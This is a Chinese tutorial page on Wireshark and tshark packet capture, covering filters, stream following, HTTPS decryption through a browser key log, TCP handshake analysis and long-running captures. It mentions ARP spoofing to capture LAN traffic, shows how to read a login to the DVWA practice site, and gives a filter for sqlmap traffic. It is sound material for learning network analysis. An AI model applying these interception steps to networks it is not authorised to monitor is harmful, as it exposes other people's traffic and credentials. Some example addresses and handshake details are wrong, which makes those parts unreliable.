嗅探工具 — wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

嗅探工具 — wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain嗅探-wireshark、tcpdump、dsniff、Ettercap、netsniff-ng_嗅探

最好的 MitM 中间人攻击开源框架清单:https://github.com/Chan9390/Awesome-MitM
哔哩哔哩:https://search.bilibili.com/all?keyword=wireshark
IP 报文格式大全:https://support.huawei.com/enterprise/zh/doc/EDOC/fc60e39
TCP/IP协议 (图解):嗅探工具 — wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain
IP 基础知识全家桶:https://zhuanlan.zhihu.com/p/

wireshark抓包工具的工作原理,特点和应用场景:https://www.zhihu.com/question//answers/updated

抓包分析工具主要有两种:

  1. http/https 网络代理工具:mitmproxy/fiddler 都属于这一类,用于分析 http 非常方便。但是只支持 http/https,有局限性。
  2. tcp/udp/icmp 等网络嗅探工具:tcpdump/tshark 都属于这一类,网络故障分析等场景常用。

BPF:https://www.ibm.com/docs/en/qsip/7.4?topic=queries-berkeley-packet-filters
BPF、eBPF的使用(超详细):https://zhuanlan.zhihu.com/p/

1、wireShark、tshark、termshark

wireShark

wireShark 简介

Wireshark 于 1998 年首次发布,最初被称为 Ethereal 。2006 年,由于商标问题,开发商不得不将其名称改为 Wireshark 。WireShark 是一个开源免费的高性能网络协议分析软件,支持在绝大多数的以太网网卡以及主流的无线网卡上捕获几乎所有的网络协议包。

Wireshark  图标是一个 鲨鱼鳍

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

WireShark 具有如下所示的特点:

  • (1) 支持多种操作系统平台,可以运行于Windows、Linux、Mac OS X10.5.5、Solaris和FreeBSD等操作系统上;
  • (2) 支持超过上千种的网络协议,并且还会不断的增加对新协议的支持;
  • (3) 支持实时捕捉,然后可在离线状态下进行分析;
  • (4) 支持对VOIP数据包进行分析;
  • (5) 支持对通过IPsec、ISAKMP、Kerberos、SNMPv3、SSL/TLS、WEP 和 WPA/WPA2 等协议加密了的数据包解密;
  • (6) 可以实时获取来自以太网、IEEE 802.11、PPP/HDLC、ATM、蓝牙、令牌环和FDDI(光纤)等网络中的数据包;
  • (7) 支持读取和分析许多其它网络嗅探软件保存的文件格式,包括 Tcpdump、Sniffer pro、EtherPeek、Microsoft Network Monitor和CISCO Secure IDS 等软件;
  • (8) 支持以各种过滤条件进行捕捉,支持通过设置显示过滤来显示指定的内容,并能以不同的颜色来显示过滤后的报文;
  • (9) 具有网络报文数据统计功能;
  • (10) 可以将它捕捉到的数据导出为XML、PostScript、CSV及普通文本文件的格式。

WireShark 官网:https://www.wireshark.org

  1. WireShark 要在 Windows系统下运行时,还需要一个名为 Winpcap 的驱动库,但是现在 Wireshark 底层用的是 Npcap, Npcap 是 神器Nmap 套件中一个Windows数据抓包程序,主要用于Windows数据包嗅探和发送。Npcap 开源项目源于2013年由Nmap创始人Gordon Lyon和北京大学罗杨博士发起,并由Google Summer of Code计划赞助,以MIT协议发布。由于Winpcap 已经停止更新(此前版本的Npcap主要基于Winpcap(2013停更)),Npcap 通过底层开发构建了全新自己的 Npcap 原始数据包捕获/发送驱动程序,在兼容WinpcapAPI 的基础上,使用更加现代 API 接口,在功能、性能、安全性方面都完胜老版本。
  2. 在 Linux 系统下使用时,推荐使用 Libpcap 驱动库,可以从 www.tcpdump.org 下载。  

Wireshark 使用的环境大致分为两种

  • 一种是电脑直连网络的单机环境,Wireshark直接抓取本机网卡的网络流量;
  • 一种就是应用比较多的网络环境,即连接交换机的情况。Wireshark通过端口镜像、ARP欺骗等方式获取局域网中的网络流量。
    端口镜像:利用交换机的接口,将局域网的网络流量转发到指定电脑的网卡上。
    ARP欺骗:交换机根据MAC地址转发数据,伪装其他终端的MAC地址,从而获取局域网的网络流量。

WireShark 的 UI 界面如何使用,网上能搜得到各种类型的 wireshark 演示,多看几篇博客就会了。 搜索 [xxx 协议 wireshark 抓包分析] 就能找到各种各样的演示,比如

gRPC 协议 wireshark 抓包分析
WebSocket 协议 wireshark 抓包分析
TCP 协议 wireshark 抓包分析
等等

wireShark 下载、安装

  • windows 直接下载安装就是最新版本。
  • Ubuntu linux 通过 sudo apt install wireshark  并不是最新版本的 Wireshark 。
    参考:https://zhuanlan.zhihu.com/p/
    执行 apt show wireshark 命令,可以查看包信息。
    Wireshark 开发者提供了一种官方 PPA 方式,使用它在Ubuntu和其它基于Ubuntu的发行版上安装最新稳定版本的 Wireshark。打开终端并逐个使用以下命令,即使安装了旧版本的Wireshark,它也将更新为新版本。

    sudo add-apt-repository ppa:wireshark-dev/stable
    sudo apt update
    sudo apt install wireshark

    安装时,系统将询问你是否允许非超级用户捕获数据包。选择“Yes”允许,选择“No”限制非超级用户捕获数据包,最后完成安装。如果安装时选择No,则以root用户执行命令:sudo dpkg-reconfigure wireshark-common  然后按 tab 键并使用回车键选择“No”,由于允许非超级用户捕获数据包,因此你必须将该用户添加到 wireshark 组。使用 usermod 命令将自己添加到 wireshark 组:sudo usermod -aG wireshark $(whoami)  最后重启Ubuntu系统。

Windows 系统下 WireShark 运行的主界面。

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

选择一个网卡接口,就可以捕获这个网卡接口上的数据包。

用法: wireshark [options] … [ <infile> ]

捕获的网卡接口:
  -i <interface>, –interface <interface> 要捕获数据的网络接口(默认是第一个非回环接口)                           
  -f <capture filter>      捕获数据包时使用的过滤器
  -s <snaplen>, –snapshot-length <snaplen>    数据包快照长度(def:适当的最大值)                           
  -p, –no-promiscuous-mode   不使用混杂模式,即只捕获和本机相关的数据包                          
  -I, –monitor-mode       在监视模式下捕获(如果可用)
  -B <buffer size>, –buffer-size <buffer size>    内核缓冲区大小(def: 2MB)                           
  -y <link type>, –linktype <link type>    链路层类型(def: first适当)

  –list-time-stamp-types   打印网络接口的时间戳类型列表  
  –time-stamp-type <type>  设置接口的时间显示格式
  -D, –list-interfaces         列出所有网络接口
  -L, –list-data-link-types    打印网络接口的链路层类型列表                           
  

捕获数据包后的显示选项:
  -k                       立刻开始捕获
  -S                       当捕获到新数据包时,更新数据包显示
  –update-interval        每多少秒更新一次捕获的包。(默认: 100ms)
  -l                       当使用 -S 选项时,打开自动滚动。

当一些条件出发时,停止捕获数据包:
  -c <packet count>        捕获n个packets后,停止捕获。 默认一直捕获(def: infinite)
  -a <autostop cond.> …, –autostop <autostop cond.> …
                           duration:NUM – NUM 秒后,停止捕获
                           filesize:NUM – 文件达到 NUM KB 后停止捕获
                              files:NUM – NUM 个文件后,停止捕获
                            packets:NUM – NUM个packets后,停止捕获
捕获数据包后的输出选项:
  -b <ringbuffer opt.> …, –ring-buffer <ringbuffer opt.>
                           duration:NUM – NUM 秒后,切换到下一个文件,即每num秒保存为一个文件
                           filesize:NUM – NUM KB后,切换到下一个文件
                              files:NUM – ringbuffer: NUM 个文件后,替换原来的文件
                            packets:NUM – NUM个packets后,切换到下一个文件
                           interval:NUM – 每num秒后,切换到下一个文件
Input file:
  -r <infile>, –read-file <infile>
                           set the filename to read from (no pipes or stdin!)

Processing:
  -R <read filter>, –read-filter <read filter>
                           packet filter in Wireshark display filter syntax
  -n                       disable all name resolutions (def: all enabled)
  -N <name resolve flags>  enable specific name resolution(s): “mnNtdv”
  -d <layer_type>==<selector>,<decode_as_protocol> …
                           “Decode As”, see the man page for details
                           Example: tcp.port==8888,http
  –enable-protocol <proto_name>
                           enable dissection of proto_name
  –disable-protocol <proto_name>
                           disable dissection of proto_name
  –only-protocols <proto_name>
                           Only enable dissection of these protocols, comma
                           separated. Disable everything else
  –disable-all-protocols
                           Disable dissection of all protocols
  –enable-heuristic <short_name>
                           enable dissection of heuristic protocol
  –disable-heuristic <short_name>
                           disable dissection of heuristic protocol

User interface:
  -C <config profile>      start with specified configuration profile
  -H                       hide the capture info dialog during packet capture
  -Y <display filter>, –display-filter <display filter>
                           start with the given display filter
  -g <packet number>       go to specified packet number after “-r”
  -J <jump filter>         jump to the first packet matching the (display)
                           filter
  -j                       search backwards for a matching packet after “-J”
  -t (a|ad|adoy|d|dd|e|r|u|ud|udoy)[.[N]]|.[N]
                           format of time stamps (def: r: rel. to first)
  -u s|hms                 output format of seconds (def: s: seconds)
  -X <key>:<value>         eXtension options, see man page for details
  -z <statistics>          show various statistics, see man page for details

Output:
  -w <outfile|->           set the output filename (or ‘-‘ for stdout)
  –capture-comment <comment>
                           add a capture file comment, if supported
  –temp-dir <directory>   write temporary files to this directory
                           (default: /tmp)

Diagnostic output:
  –log-level <level>      sets the active log level (“critical”, “warning”, etc.)
  –log-fatal <level>      sets level to abort the program (“critical” or “warning”)
  –log-domains <[!]list>  comma-separated list of the active log domains
  –log-fatal-domains <list>
                           list of domains that cause the program to abort
  –log-debug <[!]list>    list of domains with “debug” level
  –log-noisy <[!]list>    list of domains with “noisy” level
  –log-file <path>        file to output messages to (in addition to stderr)

杂项:
  -h, –help               帮助
  -v, –version            版本
  -P <key>:<path>          个人配置文件路径
  -o <name>:<value> …    重写配置,覆盖原来的配置项
  -K <keytab>              用于kerberos解密的Keytab文件
  –display <X display>    使用X显示器
  –fullscreen             全屏模式

示例:ping www.baidu.com

  • 1. 首先打开 wireshark 开始抓包
  • 2. ping www.baidu.com
  • 3. ping 执行完成后,相关数据包就抓取到了,可以点击 停止捕获分组 按钮。

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

  • 4. 为避免其他无用的数据包影响分析,可以通过在过滤栏设置过滤条件进行数据包列表过滤,获取结果如下。说明:ip.addr == 1180.101.50.188 and icmp 表示只显示ICPM协议且主机IP为183.232.231.172的数据包。说明:协议名称 icmp 要小写。

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

  • 5. 也可以把本次抓包或者分析的结果进行保存

WireShark 主要分为这几个界面

  • 菜单栏:用于调试、配置
  • 工具栏:常用功能的快捷方式
  • 过滤栏:指定过滤条件,过滤数据包
  • 数据包列表:核心区域,每一行就是一个数据包
  • 数据包详情:数据包的详细数据。说明:数据包列表区中不同的协议使用了不同的颜色区分。协议颜色标识定位在菜单栏 视图 –> 着色规则。
    在数据包列表中选择指定数据包,在数据包详细信息中会显示数据包的所有详细信息内容。数据包详细信息面板是最重要的,用来查看协议中的每一个字段。各行信息分别为
    (1)Frame: 物理层的数据帧概况
    (2)Ethernet II: 数据链路层以太网帧头部信息
    (3)Internet Protocol Version 4: 互联网层IP包头部信息
    (4)Transmission Control Protocol: 传输层T的数据段头部信息,此处是TCP
    (5)Hypertext Transfer Protocol: 应用层的信息,此处是HTTP协议
  • 数据包字节:数据包对应的字节流,二进制

抓包、显示过滤器

wireshark 工具中自带了两种类型的过滤器,可以快速的在大量的数据中找到需要的信息。

  1. 抓包 过滤器:重点在动作,需要的包才抓,不需要的就不抓。抓包过滤器在抓包前使用,它的过滤有一个基本的语法格式:BPF语法格式。
  2. 显示 过滤器:重点在数据的展示,包已经抓了,可以通过滤表达式只显示想要的包。

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

数据链路层 arp
以太网 eth
网络层 ip
传输层 tcp、udp
应用层 http、dns

抓包 过滤器

抓包过滤器在抓包前使用,它的过滤有一个基本的语法格式:BPF语法格式。

BPF(全称 Berkeley Packet Filter),中文叫伯克利封包过滤器,它有四个核心元素:类型、方向、协议 和 逻辑运算符。

  1. 类型Type:主机(host)、网段(net)、端口(port)
  2. 方向Dir:源地址(src)、目标地址(dst)
  3. 协议Proto:各种网络协议,比如:tcp、udp、http
  4. 逻辑运算符:与( && )、或( || )、非( !)

四个元素可以自由组合,比如:

  1. src host 192.168.31.1:抓取源IP为 192.168.31.1 的数据包
  2. tcp || udp:抓取 TCP 或者 UDP 协议的数据包

使用抓包过滤器时,需要先停止抓包,设置完过滤规则后,再开始抓包。抓包过滤器用于设置捕获哪些数据包。如果在捕获前未设置抓包过滤规,则捕获通过网卡的所有数据包。

菜单栏 —>  捕获 –> 捕获过滤器,可以 “增、删” 过滤器。

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

注意:不同地方 ping www.baidu.com 可能显示的 ip 不一样

在 “捕获选项” 中可以选择过滤器,就可以使用了

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

抓包 过滤器 规则

  • 类型 Type(host、net、port)
  • 方向 Dir(src、dst)
  • 协议 Proto(ether、ip、tcp、udp、http、icmp、ftp等)
    协议过滤比较简单,直接在抓包过滤框中直接输入协议名即可。
            tcp,只显示TCP协议的数据包列表
            http,只查看HTTP协议的数据包列表
            icmp,只显示ICMP协议的数据包列表
    IP 过滤
            host 192.168.1.104
            src host 192.168.1.104
            dst host 192.168.1.104
  • 端口 port 过滤
            port 80
            src port 80
            dst port 80
  • 逻辑运算符(&&与、|| 或、!非)
    src host 192.168.1.104 && dst port 80    抓取主机地址为192.168.1.80、目的端口为80的数据包
    host 192.168.1.104 || host 192.168.1.102 抓取主机为192.168.1.104或者192.168.1.102的数据包
    !broadcast 不抓取广播数据包

捕获过滤表达式的格式:【逻辑运算】+【协议】+【方向】+【类型】+【值】

逻辑运算:and、or、not
协议:ether、ip、icmp、arp、tcp、udp等
方向:src、dst、src and dst、src or dst
类型:host、net、port、portrange等

常用 抓包过滤表达式 (捕获过滤表达式)

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

显示 过滤器

在使用 wireshark 的过程中,因为要在大量的包中找到自已要的包,所以显示过滤器的使用是必不可少的。显示过滤器是用于在抓取数据包后,通过设置过滤条件,过滤出需要查看的数据包。

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

在组网不复杂或者流量不大情况下,抓包后使用显示器过滤器就可以满足使用。

可以通过「协议名称.协议属性」和「比较操作符(比如 ==)」进行更精确的过滤。在过滤栏输入 ip. 后,通过上下箭头就可以查看 ip 下所以选项。

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

成功识别过滤条件后,过滤栏 显示 绿色。

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

显示过滤器的语法包含5个核心元素:IP、端口、协议、比较运算符和逻辑运算符。

  1. IP 地址:ip.addr、ip.src、ip.dst
  2. 端口:tcp.port、tcp.srcport、tcp.dstport
  3. 协议:tcp、udp、http
  4. 比较运算符:> < == >= <= !=
  5. 逻辑运算符:and、or、not、xor(有且仅有一个条件被满足)

5个核心元素可以自由组合,比如:

  • ip.addr == 192.168.32.121:显示IP地址为 192.168.32.121 的数据包
  • tcp.port == 80 :显示端口为 80 的数据包

显示 过滤器 规则。(确保输入任何过滤器时,显示过滤器背景为绿色,否则过滤器无效)

  • 比较操作符:== 等于、!= 不等于、> 大于、< 小于、>= 大于等于、<=小于等于
  • 协议 过滤:比较简单,直接在Filter框中直接输入协议名即可。协议名称需要小写。
            tcp,只显示TCP协议的数据包列表
            http,只查看HTTP协议的数据包列表
            icmp,只显示ICMP协议的数据包列表
    tcp,udp,arp,icmp,http,smtp,ftp,dns,msnms,ip,ssl,oicq,bootp 等。
    “排除” 就是在前面加个 ! 或者 not。
    示例:只显示tcp报文 : tcp
    示例:只显示不是 tcp 的报文 : !tcp 或者 not tcp
    示例:过滤ack的包:tcp.ack == 1
    示例:过滤http包,以及dns包,以及ssl包:http or dns or ssl
    包长度过滤: 
            udp.length ==35 筛选长度为35的udp流量包
            tcp.len >=20 筛选长度大于20的tcp流量包
            ip.len ==40 筛选长度为40的IP流量包
            frame.len ==80 筛选长度为80的整个流量包

  • 过滤包的指定的字段:协议 [开始位置:长度]
    示例:tcp协议,从第2个字符开始(起始是0,不是1,这个2是偏移的位置),
    长度为3,内容为01,bb,eb
    tcp[2:3] == 01:bb:eb

  • ip 过滤。在过滤器中输入 ip. 可以查看其它选项。
            ip.src ==112.53.42.42 显示源地址为112.53.42.42的数据包列表
            ip.dst==112.53.42.42, 显示目标地址为112.53.42.42的数据包列表
            ip.addr == 112.53.42.42 显示源IP地址或目标IP地址为112.53.42.42的数据包列表
    源地址和目的地址:ip.addr==180.101.50.242
    源 IP :ip.src == 192.168.0.5 或 ip.src eq 192.168.0.5
    目的IP:ip.dst == 192.168.0.5 或 ip.dst eq 192.168.0.5
    指定主机ip,源或目的: ip.host == 192.168.0.5 或 ip.host eq 192.168.0.5 或者用 ip.addr
    指定源ip 或 指定目的ip: ip.src == 192.168.0.5 or ip.dst == 192.168.0.5
    指定源ip 且 指定目的ip: ip.src == 127.0.0.1 and ip.dst == 192.168.0.5
    IP层还可以跟进 IP 协议的字段 过滤。

  • MAC 地址 过滤。与 ip. 过滤类似,使用 eth.XXX,没有 eth.host
    示例:eth.addr;eth.src;eth.dst
    示例:arp.src.hw_mac == 02:c8:a1:89:ae:d8    显示从 MAC 地址为02:c8:a1:89:ae:d8的设备发送的 ARP 协议帧
    示例:arp.src.proto_ipv4 == 192.168.3.29    显示从 IP 地址为192.168.3.29的设备发送的 ARP 协议帧

  • 显示以太网流量:eth

  • 端口过滤,端口过滤非常常用,一般都要指明协议是tcp还是udp
            tcp.port ==80, 显示源主机或者目的主机端口为80的数据包列表。
            tcp.srcport == 80, 只显示TCP协议的源主机端口为80的数据包列表。
            tcp.dstport == 80,只显示TCP协议的目的主机端口为80的数据包列表。
    可以用 srcport,dstport,port,端口可以用比较符合>,>=,<,<=,==,eq
    示例:过滤目的端口是80端口的tcp报文:tcp.dstport == 80
    示例:过滤源端口是443的tcp报文:tcp.srcport == 443
    示例:过滤端口是80的tcp报文 或者端口是53的udp报文:udp.port == 53 or tcp.port == 80
    示例:过滤源端口号大于1024的tcp报文:tcp.srcport > 1024
    示例:过滤指定服务器80端口 :tcp.port == 80 and ip.host = 192.168.0.5

  • http 模式过滤
            http.request.method==”GET”
            http.request.method == GET   过滤 HTTP 的 GET 请求
            http.request.method == POST  过滤 HTTP 的 POST 请求
            http.response.code == 200
    http.request.uri==”/login.php”
    http contains “sqlmap”
    http.request.method==”GET” && http contain “User-Agent”

  • 逻辑运算符 and /or / not 。过滤多个条件组合时,使用 and/or。比如获取IP地址为192.168.0.104 的ICMP数据包表达式为 ip.addr == 192.168.0.104 and icmp

  • 正则使用的是 matches
    格式:
            tcp matches “正则表达式”    // 
            tcp contains “字符串”       // contains 只是进行 “字符串匹配”

  • 使用 contains(包含) 过滤
            http contains “HTTP/1.1 200 OK”
            http contains “200 OK”
            http contains “admin”
            tcp contains “admin”

  • “数据包内容” 过滤

以 ICMP 层中的内容进行过滤为例,单击选中界面中的数据包,在下方进行选中数据。

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

右键 —> 作为过滤器应用 —> 选中,然后就可以在过滤栏看到 data,再输入 contains 和过滤内容,即可过滤数据包

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

如过滤出 data数据包中包含 “abcd” 内容的数据流。关键词是contains,完整条件表达式为 data contains “abcd”

常用 显示过滤 

数据链路层:
        eth.src == 04:f9:38:ad:13:26    筛选mac地址为04:f9:38:ad:13:26的数据包
        eth.src == 04:f9:38:ad:13:26    筛选源mac地址为04:f9:38:ad:13:26的数据包

网络层:
        ip.addr == 192.168.1.1     筛选ip地址为192.168.1.1的数据包
        ip contains “192.168.1”    筛选192.168.1.0网段的数据

传输层:
        tcp.port == 80    筛选端口为80的数据包
        tcp.port == 12345 &&tcp.port == 80         筛选12345端口和80端口之间的数据包
        tcp.srcport == 12345 &&tcp.dstport == 80   筛选从12345端口到80端口的数据包

应用层:
特别说明: 
        http.request 表示请求头中的第一行(如GET index.jsp HTTP/1.1) 
        http.response 表示响应头中的第一行(如HTTP/1.1 200 OK),
其他头部都用 http.header_name形式。
        http.request.uri contains “.php”    筛选url中包含.php的http数据包
        http contains “username”            筛选内容包含username的http数据包

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

抓包:流追踪 (数据流分析) 

使用Wireshark进行网络流量分析:使用Wireshark进行网络流量分析_以抓包软件监视网络流量使用状态-CSDN博客

类似于 fiddler、charles 抓包。

流 追踪。数据包 —> 点击鼠标右键 —> 追踪流 —>  tcp 流进行跟踪、或者 http 流
点击之后,就会看到这条 tcp流 或者 http流 上的所有请求和回复
选择不同的协议,就可以查看对应协议的流

使用 wireshark 进行威胁流量发现时候,除了判断包特征,访问日志,证书等,数据量是较为直观发现异常行为的方式,也常会查看一些HTTP流、TCP流和UDP流进行流量分析。

这里简单的记录一个完整的登录过程的抓包过程:

(1)开启 Wireshark 的流量监控

(2)登录 dvwa 网站

访问网站 -> 输入正确密码 -> 登录 -> 登录成功

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

输入账号、密码登录

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

现在对整个过程的流量包进行分析,可以使用 login.php 来筛选是否有登录动作:

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

可以看到有登录的流量包,现在可以试着对该流量包进行追踪,查看更多信息

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

注:除了HTTP流,还可以追踪TCP流、UDP流、HTTPS流等,操作的方法是一样的

配置 Wireshark 抓取 https 数据包 解密SSL:

Wireshark 解密 HTTPS 流量的两种方法:Wireshark解密HTTPS流量的两种方法 | CN-SEC 中文网

Wireshark 的抓包原理是直接读取并分析网卡数据,要想让它解密 HTTPS 流量,有两个办法:

方法 1:

如果你拥有 HTTPS 网站的加密私钥,可以用来解密这个网站的加密流量;

方法 2:

某些浏览器支持将 TLS 会话中使用的对称密钥保存在外部文件中,Wireshark 可以利用这个文件进行解密。Firefox 和 Chrome 都支持这种方式,但 Firefox 和 Chrome 只会在系统环境变量中存在 SSLKEYLOGFILE 路径时才会生成该文件,先来加上这个环境变量( 以 Windows为例 ):

  • 1、配置环境变量 SSLKEYLOGFILE 值为 C:\ssl_key\sslog.log(注意后缀名一定用 log)这样浏览器和服务器SSL协商的秘钥信息会存储到文件中。打开浏览器,访问一个HTTPS 网页,然后打开 SSLKEYLOGFILE 环境变量值的文件路径就可以看到TLS协商的随机字符串记录。
  • 2、配置 Wireshark 设置文件路径。菜单栏 —> 编辑 —> 首选项 —> Protocols —> SSL( 有的版本只有 TLS ) —>  Pre-Master-Securet log filename(预主密钥) 添加 SSLKEYLOGFILE 变量设置的路径的日志文件。
  • 3、配置好后,重启浏览器,为了避免 wireshark 抓到其他数据包,可以添加过滤器条件,设置 tcp.port=443 这样就只过滤 https 的数据包。

抓包 分析 TCP 三次握手

TCP三次握手连接建立过程

  • 1:客户端发送一个SYN=1,ACK=0标志的数据包给服务端,请求进行连接,这是第一次握手;
  • 2:服务端收到请求并且允许连接的话,就会发送一个SYN=1,ACK=1标志的数据包给发送端,告诉它,可以通讯了,并且让客户端发送一个确认数据包,这是第二次握手;
  • 3:服务端发送一个SYN=0,ACK=1的数据包给客户端端,告诉它连接已被确认,这就是第三次握手。TCP连接建立,开始通讯。

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

启动 wireshark 抓包,打开浏览器输入 http://www.baidu.com

使用 ping http://www.baidu.com 获取 IP

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

输入过滤条件获取待分析数据包列表 ip.addr == 180.101.50.242

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

图中可以看到 wireshark 截获到了三次握手的三个数据包,后面还有两次TLS的握手,因为是通过https去发请求的,三次握手后就是TLS的握手了。即第四个包才是HTTPS的, 这说明HTTPS的确是使用TCP建立连接的。流程图大致如下:

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

问题:为什么 TCP 三次握手过程中 Seq 是 0?

实际上是因为 Wireshark 工具帮我们做了优化,它默认显示的是序列号 Seq 是相对值,而不是真实值。如果你想看到实际的序列号的值,可以右键菜单, 然后找到「协议首选项」、「Transmission Control Protocol」,接着找到「Relative Seq」后,把它给取消勾选(取消 Seq 相对值的显示方式)

第一次握手数据包

客户端发送一个TCP,标志位为SYN,序列号为0, 代表客户端请求建立连接。

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

数据包的关键属性如下:

  • SYN :标志位,表示请求建立连接
  • Seq = 0 :初始建立连接值为0,数据包的相对序列号从0开始,表示当前还没有发送数据
  • Ack =0:初始建立连接值为0,已经收到包的数量,表示当前没有接收到数据

第二次握手的数据包

服务器发回确认包, 标志位为 SYN,ACK。将确认序号(Acknowledgement Number)字段+1,即0+1=1。

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

数据包的关键属性如下:

  • [SYN + ACK]: 标志位,同意建立连接,并回送SYN+ACK
  • Seq = 0 :初始建立值为0,表示当前还没有发送数据
  • Ack = 1:表示当前端成功接收的数据位数,虽然客户端没有发送任何有效数据,确认号还是被加1,因为包含SYN或FIN标志位。(并不会对有效数据的计数产生影响,因为含有SYN或FIN标志位的包并不携带有效数据)

第三次握手的数据包

客户端再次发送确认包(ACK) SYN标志位为0,ACK标志位为1。并且把服务器发来ACK的序号字段+1,放在确定字段中发送给对方,并且在Flag段写ACK的+1:

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

数据包的关键属性如下:

  • ACK :标志位,表示已经收到记录
  • Seq = 1 :表示当前已经发送1个数据
  • Ack = 1 : 表示当前端成功接收的数据位数,虽然服务端没有发送任何有效数据,确认号还是被加1,因为包含SYN或FIN标志位(并不会对有效数据的计数产生影响,因为含有SYN或FIN标志位的包并不携带有效数据)。

就这样通过了TCP三次握手,建立了连接。开始进行数据交互

Wireshark 常用 操作

  • 调整数据包列表中时间戳显示格式。调整方法为 视图 –>时间显示格式 –> 日期和时间。
  • 发现显示窗口列是重叠,源目ip地址显示不完整时,可以 自动调整列框:快捷键 ctrl+shift+R(或者“视图”→“ 调整列宽”)。
  • 菜单栏 —> 统计 —> 流量图,”显示” 选 “显示的分组”,可以查看 协议交互过程
  • 抓包文件数据包统计分析:某商场网络流量异常,负责项目的你到现场后先用Wireshark抓包15分钟,分析时发现数据包有80M,手工统计的话效率太低,粗略浏览凭感觉又不靠谱,怎么破?强大的Wireshark还是有招应对的,“统计”→“会话”,分别按数据包个数和字节大小统计,很快可以看到是哪些ip地址之间的流量是最大的,后续重点排查这些ip即可,

  • 抓包文件 “瘦身” 技巧。从50M的抓包文件中筛选出http协议保存出来,更精巧地插入word文档中。使但是用显示过滤器过滤后,数据包还是比较多,可以这样操作,文件 —> 导出特定分组,选择 “all packets” 和 “displayed”,保存。如果仅需要保存个别数据包,标记分组 —> 文件 —> 导出特定分组,选择 “marked packets” 和 “displayed”,保存

  • 标记数据包。对于某些比较重要的数据包,可以设置成高亮显示,以达到标记的目的。选中需要标记的数据包,右键选择最上面的「标记/取消标记」。选中数据包,按 Ctrl + M 也可以实现同样的效果,按两次可以取消标记。

  • 导出数据包。保存操作默认保存所有已经抓取的数据包。如果只需要保存指定的数据包,这时候可以使用导出的功能。
    导出单个数据包:选中数据包,点击左上角的「文件」,点击「导出特定分组」。在「导出分组界面」,选择第二个 「Selected packets only」,只保存选中的数据包。
    导出多个数据包:有时候需要导出多个数据包,Wireshark有一个导出标记的数据包的功能,把要导出的数据包都标记起来,就可以同时导出多个数据包。点击左上角的「文件」,点击「导出特定分组」。在「导出分组界面」,勾选第三个 「Marked packets only」,只导出标记的数据包。

  • 开启混杂模式。局域网的所有流量都会发送给我们的电脑,默认情况下,我们的电脑只会对自己mac的流量进行解包,而丢弃其他mac的数据包。开启混杂模式后,我们就可以解析其他mac的数据包,因此,我们使用Wireshark时,通常都会开启混杂模式。点击菜单栏的「捕获」按钮,点击「选项」。勾选 在所有接口上使用混杂模式。

命令行 长时间 抓包

有些企业用户可能会遇到认证服务器侧提示计费服务器down掉的问题,复现的周期是7天,决定通过抓包判断是接入设备和服务器之间链路问题导致,还是服务器未及时处理radius报文导致。

在iMC服务器网卡抓包,2个小时后发现Wireshark挂死,辛辛苦苦抓下来的包还没保存就没了。

碰到这种情况时,用命令行抓包一招就能搞定,它是直接写硬盘,不会造成内存溢出问题和进程挂死,操作步骤如下:

ipconfig查看抓包网卡的描述

cd切换到Wireshark的安装目录下,tshark -D查看抓包网卡索引号

输入tshark命令开启抓包

  • 第一种情况是问题出现的时间不确定,频率较低,几小时或几天出一次,硬盘空间有限,我们采用循环抓包法,持续抓包生成指定个数和指定大小文件,超过指定文件个数就覆盖,循环利用硬盘空间。例如:抓包文件大小每100KB后自动新建一个文件,文件个数为10个,保存到D盘根目录,超过后自动替换(共占用1M空间),输入命令:tshark -b filesize:100 -b files:10 -w d:/yhy1m10.pcap -i 1(-b 循环抓包;Filezise:每个分包大小(KB);Files:总分包个数;-w 保存的文件路径及文件名称;-i 网卡接口号)
  • 第二种情况是问题定位需要长时间抓包,硬盘的空间足够,希望分析抓包网卡全部数据,我们可以采用持续抓包法,持续抓包不断生成指定大小文件,直到硬盘空间满了为止。例如:每个文件大小20M,保存到D盘根目录,输入命令:tshark -b filesize:2000 -w d:/ yhy20m.pcap -i 1 ,待问题复现后,ctrl+c停止抓包。

Wireshark 远程抓包

